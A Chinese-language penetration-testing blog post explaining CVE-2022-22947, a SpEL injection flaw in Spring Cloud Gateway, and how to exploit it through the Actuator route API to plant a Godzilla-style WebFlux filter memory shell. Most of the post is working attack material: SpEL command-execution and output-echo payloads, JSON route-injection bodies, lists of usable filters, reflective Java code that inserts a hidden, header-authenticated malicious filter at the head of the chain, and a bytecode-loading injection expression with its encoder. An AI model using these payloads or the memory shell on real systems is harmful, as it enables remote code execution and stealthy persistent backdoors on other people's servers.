从CVE-2022-22947学习用java-object-searcher构造哥斯拉马

渗透技巧 2年前 (2023) admin

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这篇文章的主要目的是学习一下spel表达式注入和哥斯拉内存马注入，还有神器java-object-searcher的使用

SPEL表达式注入

spel支持在运行时查询和操作对象图，以API接口的形式创建，所以可以集成到其他应用程序和框架中

spel接口

ExpressionParser接口：解析器

ExpressionParser接口下的parseExpression()方法将字符串表达式转化为Expression对象

parseExpression()接收参数：
Expression parseExpression(String expressionString, ParserContext context);
其中parserContext定义了字符串表达式是否为模板，和模板开始与结束字符

我们经常看见的spel表达式以#{xxx}的形式出现，他的parserContext如下：

ParserContext parserContext = new ParserContext() {
            @Override
            public boolean isTemplate() {
                return true;
            }
            @Override
            public String getExpressionPrefix() {
                return "#{";
            }
            @Override
            public String getExpressionSuffix() {
                return "}";
            }
        };

EvaluationContext接口：表示上下文环境。以SpelExpression实现，提供getValue和setValue操作对象值

spel语法

T(全限定名)表示java.lang.Class，RCE的关键，如下使用T(java.lang.Runtime)获取了类，并且可以直接使用类下的方法

T(java.lang.Runtime).getRuntime().exec("calc")

和java一样的关键字：new进行类实例化，instanceof判断type

new java.lang.ProcessBuilder("calc.exe).start()

变量定义和引用：
- 变量定义：EvaluationContext的setVariable(name,value)
- 引用：#name，还支持#this和#root

spel Controller

pom.xml中添加依赖：

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-expression</artifactId>
    <version>xxx</version>
</dependency>

创建一个controller接收字符参数

@Controller
public class spel {
    @RequestMapping("/spel")
    @ResponseBody
    public String spel(String input){
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(input);
        return expression.getValue().toString();
    }
}

使用spelExpressionParser接口创建解析器

SpelExpressionParser parser = new SpelExpressionParser();

指定ExpressionParser#parseExpression()来解析表达式

Expression expression = parser.parseExpression(input);

getValue根据上下文获得表达式

expression.getValue().toString();

如果向该Controller HTTP传参，参数名为Input，就能进行spel解析

spel回显

commons-io组件回显。但是需要服务器存在该组件，一般都没有
```
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
```

jdk>=9时使用JShell

T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('java payload').toString()

jdk原生类BufferedReader

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder( "whoami").start().getInputStream(), "gbk")).readLine()

scanner

new java.util.Scanner(new java.lang.ProcessBuilder("ls").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

useDelimiter为分隔符

Spring Cloud GateWay CVE-2022-22947

源码分析

Spring Cloud GateWay版本：3.1.0&<=3.0.0-3.0.6

源码：https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.1.0

idea打开就能分析了

在shortcutConfigurable#getValue中，#{}包住的进行spel解析，这就是链最后的地方，控制entryValue即可实现spel注入

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在shortcutType处使用了getValue

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由于是在shortcutType中的normalize中调用的getValue()，所以找也要找调用了shortcutType().normalize()方法的类，ConfigurationService就符合

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上文的entry.getValue()，entry即为第一个参数，也就是一个Map。这里控制this.properties为恶意map就能控制spel表达式

在bind()方法中触发了normalizeProperties()方法：

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在RouteDefinitionRouteLocator#lookup()方法中对properties进行了设置，然后调用了bind()

properties的值为predicate.getArgs()

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在combinePredicates中定义了predicate的值，与routeDefinition有关

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在convertToRoute()中调用了combinePredicates()

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而在路由初始化时触发convertToRoute()

CacheingRouteLocator#onApplicationEvent()->
    CachingRouteLocator#fetch()->
        CompositeRouteLocator#getRoutes()->
            RouteDefinitionRouteLocator#getRoutes()->
                RouteDefinitionRouteLocator#convertToRoute()

漏洞利用

在官方文档https://docs.spring.io/spring-cloud-gateway/docs/3.1.0/reference/html/#actuator-api中，提供了json发送路由请求内容

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Actuator API提供了Rest添加路由的方式:

要创建一个路由，请向/gateway/routes/{id_route_to_create}发出一个POST请求，该请求包含一个指定路由字段的JSON主体（见检索某个特定路由的信息）。要删除一个路由，请向/gateway/routes/{id_route_to_delete}发出一个DELETE请求。

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http://xxx/actuator/gateway/routes/{xxx}添加路由

也就是可以向http://xxx/actuator/gateway/routes/godown如下payload进行注入

{
  "id": "godown",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"#{T(java.lang.Runtime).getRuntime().exec('calc')}"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

创建完之后向http://xxx/actuator/gateway/refresh发送请求即可刷新

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其实添加的这部分路由对应着配置文件中的route部分：

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注意在创建路由的时候把content-type改为application/json

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拓展链

上文payload里的其他参数有没有用？name为什么要是Path？

借用奇安信的一张调用栈图：

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在RouteDefinitionRouteLocator#convertToRoute()方法处

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除了会调用combinePredicates，还会调用getFilters来触发loadGatewayFilters进行bind

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所以在filters处注入也是可以的

奇安信攻防实验室对各种过滤器进行了实验，事实证明所有过滤器都可以：https://forum.butian.net/share/1410

过滤器名称：

AddRequestHeader
MapRequestHeader
AddRequestParameter
AddResponseHeader
ModifyRequestBody
DedupeResponseHeader
ModifyResponseBody
CacheRequestBody
PrefixPath
PreserveHostHeader
RedirectTo
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
RewritePath
Retry
SetPath
SecureHeaders
SetRequestHeader
SetRequestHostHeader
SetResponseHeader
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri
RequestSize
RequestHeaderSize

payload:

{
    "id": "first_route",
    "predicates": [],
    "filters": [{
        "name": "Retry",
        "args": 
            {
                "name": "payload",
                "value": "123"
            }
    }],
    "uri": "https://www.uri-destination.org",
    "order": 0
}

修改filters.name为任意合法过滤器名，payload处改为spel表达式

同理，predicates里的name，我们之前用的Path

实际上下列predicates都能用：

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回显

用户定义的路由信息会存在内存中，refresh后会把结果写入路由信息。通过路由信息的API看到RCE的结果（就上面payload注册完路由后GET访问路由路径）

利用RedirectTO过滤器注入：

{
    "id": "first_route",
    "predicates": [],
    "filters": [{
        "name": "RedirectTo",
        "args": 
            {
                "status": "302",
                "url": "payload"
            }
    }],
    "uri": "https://www.uri-destination.org",
    "order": 0
}

在spring官方文档可以看到RedirectTo接收两个参数，一个status一个url，但是会验证参数类型，也就是说status就必须是枚举类型，url就会进行url解析，所以该过滤器不能使用，没有传入字符串类型的参数，如RemoveRequestHeader，同理对predicates链

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注入内存马

spring cloud gateway是基于WebFlux的，关于WebFlux，这篇文章有详尽的说明：

https://juejin.cn/post/7001032584821997598

web服务基于netty和spring，c0ny1佬对针对netty和spring构造了内存马

netty内存马

netty处理http请求会用pipeline链上的handler依次来处理，内存马就是模拟注册一个handler。但是netty是动态构造pipeline。

动态添加handler的CompositeChannelPipelineConfigurer的compositeChannelPipelineConfigurer第二个参数other默认为空，即默认第一个。如果第二个参数other有值，将被合并为一个新Configurer

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使用reactor.netty.transport.TransportConfig#doOnchannelInit来获取Configurer

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至于构造netty内存马的代码，已经来到了知识盲区，直接移步https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg

内存马

分析一遍mieea佬的webFilter内存马

spring Webflux是有filter的，在官方文档里有：

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我们知道filter一般都是一个链，在这里是用DefaultWebFilterChain

在DefaultWebFilterChain#invokefilter()处触发filter

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可以看到filter()参数只有ServerWebExchange，那模拟就return调用下一个filter构成filter链

一个Filter Demo:

import org.springframework.core.annotation.Order;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;

@Component
@Order(value = 2)
public class NormalFilter implements WebFilter{
    @Override
    public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
        return chain.filter(exchange);
    }
}

反射利用DefaultWebFilterChain#initChain()模拟注册一个filter:

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该Chain由FilteringWebHandler生成实例，直接new FilteringWebHandler就能将Filter插入到首位

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poc构造：

调试环境：https://github.com/Ha0Liu/CVE-2022-22947

使用c0ny1师傅的java-Object-searcher工具（https://github.com/c0ny1/java-object-searcher）找到内存中DefaultWebFilterChain的位置

新建一个NormalFilter，把编译好的java-obejct-searcher-0.1.0.jar导入到target目录下，项目启动后触发一遍filter

import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
import org.springframework.core.annotation.Order;
import org.springframework.stereotype.Component;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;

import java.util.ArrayList;
import java.util.List;

@Component
@Order(value = 2)
public class NormalFilter implements WebFilter {
    @Override
    public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
        //设置搜索类型包含Request关键字的对象
        List<Keyword> keys = new ArrayList<>();
        keys.add(new Keyword.Builder().setField_type("chain").build());
        List<Blacklist> blacklists = new ArrayList<>();
        blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
        SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
        searcher.setBlacklists(blacklists);
        searcher.setIs_debug(true);
        searcher.setMax_search_depth(10);
        searcher.setReport_save_path("xx");
        searcher.searchObject();
        return chain.filter(exchange);
    }
}

如下：

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于是我们得到内存马构造的流程：

构造恶意filter

哥斯拉里面生成jsp的马

filter不能影响正常的业务，加一个身份验证的http头：

String authorizationHeader = exchange.getRequest().getHeaders().getFirst(HttpHeaders.AUTHORIZATION);
if(authorizationHeader != null && authorizationHeader.equals(auth)) {......}

表单数据用ServerWebexchange.getFormData()获取

Mono<MultiValueMap<String, String>> formData = exchange.getFormData();

获取到的数据是键值对数据流，用flatMap对数据流进行合并化：

Mono bufferStream = formData.flatMap(map -> {
                String passStr = map.getFirst(pass);
                StringBuilder result = new StringBuilder();
                ......
                return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
});

为方便移植，把哥斯拉的session换成Map<String,Object>

public static Map<String, Object> store = new HashMap<>();

从线程中获取到DefaultWebFilterChain:

getThreads = Thread.class.getDeclaredMethod("getThreads");
        getThreads.setAccessible(true);
        Object threads = getThreads.invoke(null);
        for (int i = 0; i < Array.getLength(threads); i++) {
            Object thread = Array.get(threads, i);
            if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
                // 获取defaultWebFilterChain
                NettyWebServer nettyWebServer = (NettyWebServer) getFieldValue(thread, "this$0",false);
                ReactorHttpHandlerAdapter reactorHttpHandlerAdapter = (ReactorHttpHandlerAdapter) getFieldValue(nettyWebServer, "handler",false);
                Object delayedInitializationHttpHandler = getFieldValue(reactorHttpHandlerAdapter,"httpHandler",false);
                HttpWebHandlerAdapter httpWebHandlerAdapter= (HttpWebHandlerAdapter)getFieldValue(delayedInitializationHttpHandler,"delegate",false);
                ExceptionHandlingWebHandler exceptionHandlingWebHandler= (ExceptionHandlingWebHandler)getFieldValue(httpWebHandlerAdapter,"delegate",true);
                FilteringWebHandler filteringWebHandler = (FilteringWebHandler)getFieldValue(exceptionHandlingWebHandler,"delegate",true);
                DefaultWebFilterChain defaultWebFilterChain= (DefaultWebFilterChain)getFieldValue(filteringWebHandler,"chain",false);

将恶意filter插入到Chain中，并指定到首位(0位)

List<WebFilter> newAllFilters= new ArrayList<>(defaultWebFilterChain.getFilters());
newAllFilters.add(0,new FilterMemshellPro());
DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters);

生成filteringWebHandler:

Field f = filteringWebHandler.getClass().getDeclaredField("chain");
....
f.set(filteringWebHandler,newChain);

直达github完整poc：https://github.com/mieeA/SpringWebflux-MemShell/

spel表达式注入字节码

Memshell改为你的软件包名+shell

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

其中'yv66vgAAA....'为Base64Encode的字节码，可通过如下代码生成：

import org.springframework.util.Base64Utils;

import java.io.*;
import java.nio.charset.StandardCharsets;

public class EncodeShell {
 public static void main(String[] args){
     byte[] data = null;
     try {
         InputStream in = new FileInputStream("MemShell.class");
         data = new byte[in.available()];
         in.read(data);
         in.close();
     } catch (IOException e) {
         e.printStackTrace();
     }
     String shellStr = Base64Utils.encodeToString(data);
     System.out.println(shellStr);
     try {
         OutputStream out = new FileOutputStream("ShellStr.txt");
         out.write(shellStr.getBytes(StandardCharsets.UTF_8));
         out.flush();
         out.close();
     } catch (IOException e) {
         e.printStackTrace();
     }
 }
}